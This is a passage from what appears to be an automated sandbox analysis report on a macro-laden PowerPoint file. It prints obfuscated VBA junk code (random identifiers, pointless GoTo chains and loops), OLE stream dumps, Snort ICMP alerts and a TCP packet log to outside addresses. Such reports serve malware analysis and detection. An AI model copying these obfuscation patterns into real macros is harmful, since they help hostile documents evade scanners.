kpaSaERQhknf:

End Sub
Public Function aSCkmHkoCMhviUvRQ()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"
GoTo bMQqfcVolHeCIEPTi
bMQqfcVolHeCIEPTi:
GoTo kpaSaERQhknf
kpaSaERQhknf:
GoTo QqQcVolIeCurCTiDrA
QqQcVolIeCurCTiDrA:

End Function
Public Sub AefLgltjOYYQcyFM()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"
GoTo bMQqfcVolHeCIEPTi
bMQqfcVolHeCIEPTi:
GoTo kpaSaERQhknf
kpaSaERQhknf:
GoTo QqQcVolIeCurCTiDrA
QqQcVolIeCurCTiDrA:
Dim hkbAPIsadx As Integer
For hkbAPIsadx = 3 To 12
   DoEvents
Next hkbAPIsadx

End Sub
Private Sub lyYYzHUwQvTlLmxr()
If "yQmfPxzTwBOLuHhhI" = "NpJoMeEfqkClIsC" Then End
Dim oTPPNSEKRjJIZOR As Integer
oTPPNSEKRjJIZOR = "2285"
Dim xVnzolfxuRBLRNZqrMO As Integer
xVnzolfxuRBLRNZqrMO = "1744"
Dim HJBbDiSOCQNESdLK As Integer
HJBbDiSOCQNESdLK = "7691"
Dim KTeZCRlEYSHnwxvAl As String
KTeZCRlEYSHnwxvAl = "6544"
Dim onOwNzDeEPJcZvQqiep As Long
onOwNzDeEPJcZvQqiep = "6843"
Dim YfIVUlprjIYPAikFimA As Currency
YfIVUlprjIYPAikFimA = "5942"
GoTo HPQaytVYEKemcH
HPQaytVYEKemcH:
Dim SxvdRmdTisbaN As Integer
SxvdRmdTisbaN = 7
Do While SxvdRmdTisbaN < 25
   DoEvents: SxvdRmdTisbaN = SxvdRmdTisbaN + 1
Loop
Dim wapVcvDtZTUSYIBInN As Integer
wapVcvDtZTUSYIBInN = "4699"
GoTo bMQqfcVolHeCIEPTi
bMQqfcVolHeCIEPTi:
GoTo kpaSaERQhknf
kpaSaERQhknf:
GoTo QqQcVolIeCurCTiDrA
QqQcVolIeCurCTiDrA:
Dim hkbAPIsadx As Integer
For hkbAPIsadx = 3 To 12
   DoEvents
Next hkbAPIsadx
Dim syuGQmtvEcQ As String
syuGQmtvEcQ = "586"

End Sub

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 444

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	444
Entropy:	3.11131593238
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . . . . . . . . W i d e s c r e e n . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 8c 01 00 00 0f 00 00 00 01 00 00 00 80 00 00 00 03 00 00 00 88 00 00 00 04 00 00 00 9c 00 00 00 06 00 00 00 a4 00 00 00 07 00 00 00 ac 00 00 00 08 00 00 00 b4 00 00 00 09 00 00 00 bc 00 00 00 0a 00 00 00 c4 00 00 00 17 00 00 00 cc 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 43632

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	43632
Entropy:	0.550494612512
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . @ . . . . . . . . . . . ` . . . . . . . h . . . . . . . t . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . U 2 . . . . . . . . . . M a s t e r M a n a . . . . . . . . . 3 . . . . . . . . . . . M i c r o s o f t O f f i c e P o w e r P o i n t . @ . . . . . . l . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 40 aa 00 00 0b 00 00 00 01 00 00 00 60 00 00 00 02 00 00 00 68 00 00 00 04 00 00 00 74 00 00 00 08 00 00 00 80 00 00 00 09 00 00 00 94 00 00 00 12 00 00 00 a0 00 00 00 0a 00 00 00 c4 00 00 00 0c 00 00 00 d0 00 00 00 0d 00 00 00 dc 00 00 00

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 358

General
Stream Path:	PROJECT
File Type:	ASCII text, with CRLF line terminators
Stream Size:	358
Entropy:	5.3465679306
Base64 Encoded:	True
Data ASCII:	I D = " { E B D 3 2 E 8 C - 6 5 7 5 - 4 3 D 3 - 9 E 2 A - A 9 4 D E 9 A A 1 2 3 8 } " . . M o d u l e = M o d u l e 1 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 1 6 1 4 1 4 6 9 E C 9 7 6 F 9 B 6 F 9 B 6 F 9 B 6 F 9 B " . . D P B = " 9 5 9 7 9 7 E 6 6 9 6 4 6 A 6 4 6 A 6 4 " . . G C = " 1 4 1 6 1 6 6 7 E A E 7 E B E 7 E B 1 8 " . . . . [ H o s t E x t e n d e r I n f o ] . . & H 0 0 0 0 0 0 0
Data Raw:	49 44 3d 22 7b 45 42 44 33 32 45 38 43 2d 36 35 37 35 2d 34 33 44 33 2d 39 45 32 41 2d 41 39 34 44 45 39 41 41 31 32 33 38 7d 22 0d 0a 4d 6f 64 75 6c 65 3d 4d 6f 64 75 6c 65 31 0d 0a 4e 61 6d 65 3d 22 56 42 41 50 72 6f 6a 65 63 74 22 0d 0a 48 65 6c 70 43 6f 6e 74 65 78 74 49 44 3d 22 30 22 0d 0a 56 65 72 73 69 6f 6e 43 6f 6d 70 61 74 69 62 6c 65 33 32 3d 22 33 39 33 32 32 32 30 30

Stream Path: PROJECTwm, File Type: data, Stream Size: 26

General
Stream Path:	PROJECTwm
File Type:	data
Stream Size:	26
Entropy:	2.50738010242
Base64 Encoded:	False
Data ASCII:	M o d u l e 1 . M . o . d . u . l . e . 1 . . . . .
Data Raw:	4d 6f 64 75 6c 65 31 00 4d 00 6f 00 64 00 75 00 6c 00 65 00 31 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 6034

General
Stream Path:	VBA/_VBA_PROJECT
File Type:	data
Stream Size:	6034
Entropy:	5.43827372365
Base64 Encoded:	False
Data ASCII:	. a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . , . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . . ( . x . 8 . 6 . ) . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . .
Data Raw:	cc 61 af 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 2c 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00

Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 3544

General
Stream Path:	VBA/__SRP_0
File Type:	data
Stream Size:	3544
Entropy:	4.42422055205
Base64 Encoded:	False
Data ASCII:	. K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U . . . . . . . . . . . . . . . . . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ . . . ~ W . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . J . 1 . . x . H . . C . . w . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . p . . . . . . . . . . . . .
Data Raw:	93 4b 2a af 01 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 80 03 00 00 80 00 00 00 80 00 00 00 80 00 00 00 04 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 01 00 00 7e 02 00 00 7e 03 00 00 7e 03 00 00 7e 03 00 00 7e

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 100

General
Stream Path:	VBA/__SRP_1
File Type:	data
Stream Size:	100
Entropy:	2.94276509873
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M v V D t f s Y 1 . . . . . . . . J L z W D v G F m l . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 0a 00 00 00 09 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 09 00 00 00 00 00 03 00 03 00 00 08 09 00 00 00 4d 76 56 44 74 66 73 59 31 03 00 00 08 09 00 00 00 4a 4c 7a 57 44 76 47 46 6d 6c 00 00 7f 00 00 00 00

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 6152

General
Stream Path:	VBA/__SRP_2
File Type:	data
Stream Size:	6152
Entropy:	4.28073400057
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . ~ \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 . . . Q . . . . . . . 9 . . . . . . . . . . . . . . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ) . . . . . . . . . . . . . . . Y . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . Y . . . . . . . . . . . . . . . . . . . . . . . I . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . .
Data Raw:	72 55 00 01 00 00 80 00 00 00 80 00 00 00 80 00 00 00 02 00 00 7e 7c 00 00 7f 00 00 00 00 0e 00 00 00 09 00 00 00 00 00 00 00 09 00 00 00 00 00 03 00 08 00 00 00 00 00 02 00 1d 00 00 00 36 00 00 00 51 0a 00 00 00 00 00 00 39 0a 00 00 00 00 00 00 89 02 00 00 00 00 02 00 81 0a 00 00 00 00 00 00 69 0a 00 00 00 00 00 00 b1 0a 00 00 00 00 00 00 99 0a 00 00 00 00 00 00 c9 0a 00 00 00 00

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 1157

General
Stream Path:	VBA/__SRP_3
File Type:	data
Stream Size:	1157
Entropy:	2.39133589617
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . $ . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . $ . ! . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . $ . I . . . . . . . . . . ` . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 80 00 00 00 80 00 00 00 00 00 00 00 10 00 00 00 09 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff 00 00 00 00 08 00 00 00 04 00 24 00 81 00 00 00 00 00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 24 00 a9 00 00 00 00 00 02 00 01 00 00 60 00 00 fc ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 0f 24 00

Stream Path: VBA/dir, File Type: data, Stream Size: 466

General
Stream Path:	VBA/dir
File Type:	data
Stream Size:	466
Entropy:	6.14668442859
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . 3 . . a . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:	01 ce b1 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 33 03 ee 61 19 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
01/13/21-13:44:28.704347	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.139
01/13/21-13:44:28.704347	ICMP	384	ICMP PING	192.168.2.22	172.217.218.139
01/13/21-13:44:28.752557	ICMP	408	ICMP Echo Reply	172.217.218.139	192.168.2.22
01/13/21-13:44:39.425379	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:44:39.425379	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:44:39.473256	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:44:40.309136	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:44:40.309136	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:44:40.357440	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:44:54.943988	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:44:54.943988	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:44:54.991950	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:45:07.769872	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:45:07.769872	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:45:07.817836	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:45:16.402306	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:45:16.402306	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:45:16.450089	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:45:26.420128	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.102
01/13/21-13:45:26.420128	ICMP	384	ICMP PING	192.168.2.22	172.217.218.102
01/13/21-13:45:26.468019	ICMP	408	ICMP Echo Reply	172.217.218.102	192.168.2.22
01/13/21-13:45:29.676235	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.22	8.8.8.8
01/13/21-13:45:49.689493	ICMP	382	ICMP PING Windows	192.168.2.22	172.217.218.139
01/13/21-13:45:49.689493	ICMP	384	ICMP PING	192.168.2.22	172.217.218.139
01/13/21-13:45:49.737658	ICMP	408	ICMP Echo Reply	172.217.218.139	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2021 13:44:22.737415075 CET	49167	80	192.168.2.22	67.199.248.16
Jan 13, 2021 13:44:22.786787987 CET	80	49167	67.199.248.16	192.168.2.22
Jan 13, 2021 13:44:22.786874056 CET	49167	80	192.168.2.22	67.199.248.16
Jan 13, 2021 13:44:22.788650990 CET	49167	80	192.168.2.22	67.199.248.16
Jan 13, 2021 13:44:22.837110996 CET	80	49167	67.199.248.16	192.168.2.22
Jan 13, 2021 13:44:22.931399107 CET	80	49167	67.199.248.16	192.168.2.22
Jan 13, 2021 13:44:22.931528091 CET	49167	80	192.168.2.22	67.199.248.16
Jan 13, 2021 13:44:23.077334881 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.125226974 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.125323057 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.158297062 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.206696987 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.206747055 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.206795931 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.206815004 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.206845045 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.206878901 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.206911087 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.206926107 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.206955910 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.218302965 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.266429901 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:23.266521931 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.684679031 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:23.737174034 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.338148117 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.338385105 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.344692945 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.344726086 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.344754934 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.344775915 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.344810009 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.344820023 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.344822884 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.365524054 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.365571976 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.365602016 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.365736961 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.365767002 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.369362116 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.369442940 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.369494915 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.369519949 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.372374058 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.372406006 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.372509003 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.429142952 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.429317951 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.429361105 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.429414034 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.429454088 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.429487944 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.434963942 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.435003042 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.435097933 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.435997963 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.436554909 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.436602116 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.436682940 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.439702988 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.439744949 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.439806938 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.442970991 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:24.443578959 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:24.443660975 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:29.084743023 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.131266117 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.131381989 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.147083044 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.193034887 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.194680929 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.194725037 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.194796085 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.208478928 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.254933119 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.255269051 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.464607954 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.503458023 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:29.504455090 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.524163961 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:29.570153952 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150634050 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150665045 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150676012 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150686979 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150695086 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150706053 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150721073 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.150950909 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.151637077 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.151663065 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.151740074 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.152674913 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.152693987 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.152786016 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.153299093 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.153326988 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.153419971 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.154486895 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.154514074 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.154592991 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.155517101 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.155551910 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.155713081 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.156631947 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.156665087 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.156754017 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.157675982 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.157710075 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.157803059 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.158744097 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.158768892 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.158864021 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.159823895 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.159857035 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.159926891 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.160943985 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.160968065 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.161053896 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.161988020 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.228600979 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.228619099 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.228758097 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.228777885 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.228790998 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.228876114 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.229832888 CET	443	49174	104.18.49.20	192.168.2.22
